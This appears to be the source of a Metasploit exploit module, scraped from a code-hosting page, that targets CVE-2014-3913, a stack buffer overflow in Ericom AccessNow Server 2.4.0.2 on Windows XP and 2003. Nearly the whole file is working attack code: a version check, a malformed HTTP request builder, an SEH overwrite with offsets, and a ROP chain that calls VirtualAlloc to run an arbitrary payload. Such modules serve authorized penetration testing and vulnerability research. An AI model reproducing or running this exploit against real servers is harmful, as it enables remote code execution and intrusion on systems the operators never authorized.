Path: blob/master/modules/exploits/windows/http/ericom_access_now_bof.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Ericom AccessNow Server Buffer Overflow',15'Description' => %q{16This module exploits a stack based buffer overflow in Ericom AccessNow Server. The17vulnerability is due to an insecure usage of vsprintf with user controlled data,18which can be triggered with a malformed HTTP request. This module has been tested19successfully with Ericom AccessNow Server 2.4.0.2 on Windows XP SP3 and Windows 200320Server SP2.21},22'Author' => [23'Unknown', # Vulnerability Discovery24'juan vazquez', # Metasploit Module25],26'References' => [27['ZDI', '14-160'],28['CVE', '2014-3913'],29['BID', '67777'],30['URL', 'http://www.ericom.com/security-ERM-2014-610.asp']31],32'Privileged' => true,33'Platform' => 'win',34'Arch' => ARCH_X86,35'Payload' => {36'Space' => 4096,37'BadChars' => "\x00\x0d\x0a",38'DisableNops' => true,39'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -350040},41'Targets' => [42[43'Ericom AccessNow Server 2.4.0.2 / Windows [XP SP3 / 2003 SP2]',44{45'RopOffset' => 62,46'Offset' => 30668,47'Ret' => 0x104da1e5 # 0x104da1e5 {pivot 1200 / 0x4b0} # ADD ESP,4B0 # RETN # From AccessNowAccelerator32.dll48}49]50],51'DisclosureDate' => '2014-06-02',52'DefaultTarget' => 0,53'Notes' => {54'Reliability' => UNKNOWN_RELIABILITY,55'Stability' => UNKNOWN_STABILITY,56'SideEffects' => UNKNOWN_SIDE_EFFECTS57}58)59)6061register_options([Opt::RPORT(8080)])62end6364def check65res = send_request_cgi({66'uri' => '/AccessNow/start.html'67})6869unless res && res.code == 200 && res.headers['Server']70return Exploit::CheckCode::Safe71end7273if res.headers['Server'] =~ /Ericom AccessNow Server/74return Exploit::CheckCode::Appears # Ericom AccessNow 2.475elsif res && res.code == 200 && res.headers['Server'] && res.headers['Server'] =~ /Ericom Access Server/76return Exploit::CheckCode::Detected # Ericom AccessNow 377end7879Exploit::CheckCode::Unknown80end8182def exploit_uri83uri = "#{rand_text_alpha(1)} " # To ensure a "malformed request" error message84uri << rand_text(target['RopOffset'])85uri << create_rop_chain86uri << payload.encoded87uri << rand_text(target['Offset'] - uri.length)88uri << rand_text(4) # nseh89uri << [target.ret].pack("V") # seh9091uri92end9394def exploit95print_status("Sending malformed request...")96send_request_raw({97'method' => 'GET',98'uri' => exploit_uri,99'encode' => false100}, 1)101end102103def create_rop_chain104# rop chain generated with mona.py - www.corelan.be105rop_gadgets =106[1070x10518867, # RETN # [AccessNowAccelerator32.dll] # Padding to ensure it works in both windows 2003 SP2 and XP SP31080x10518867, # RETN # [AccessNowAccelerator32.dll] # Padding to ensure it works in both windows 2003 SP2 and XP SP31090x10518866, # POP EAX # RETN [AccessNowAccelerator32.dll]1100x105c6294, # ptr to &VirtualAlloc() [IAT AccessNowAccelerator32.dll]1110x101f292b, # MOV EAX,DWORD PTR DS:[EAX] # RETN [AccessNowAccelerator32.dll]1120x101017e6, # XCHG EAX,ESI # RETN [AccessNowAccelerator32.dll]1130x103ba89c, # POP EBP # RETN [AccessNowAccelerator32.dll]1140x103eed74, # & jmp esp [AccessNowAccelerator32.dll]1150x1055dac2, # POP EAX # RETN [AccessNowAccelerator32.dll]1160xffffffff, # Value to negate, will become 0x000000011170x1052f511, # NEG EAX # RETN [AccessNowAccelerator32.dll]1180x10065f69, # XCHG EAX,EBX # RETN [AccessNowAccelerator32.dll]1190x10074429, # POP EAX # RETN [AccessNowAccelerator32.dll]1200xfbdbcb75, # put delta into eax (-> put 0x00001000 into edx)1210x10541810, # ADD EAX,424448B # RETN [AccessNowAccelerator32.dll]1220x1038e58a, # XCHG EAX,EDX # RETN [AccessNowAccelerator32.dll]1230x1055d604, # POP EAX # RETN [AccessNowAccelerator32.dll]1240xffffffc0, # Value to negate, will become 0x000000401250x10528db3, # NEG EAX # RETN [AccessNowAccelerator32.dll]1260x1057555d, # XCHG EAX,ECX # RETN [AccessNowAccelerator32.dll]1270x1045fd24, # POP EDI # RETN [AccessNowAccelerator32.dll]1280x10374022, # RETN (ROP NOP) [AccessNowAccelerator32.dll]1290x101f25d4, # POP EAX # RETN [AccessNowAccelerator32.dll]1300x90909090, # nop1310x1052cfce # PUSHAD # RETN [AccessNowAccelerator32.dll]132].pack("V*")133134rop_gadgets135end136end137138139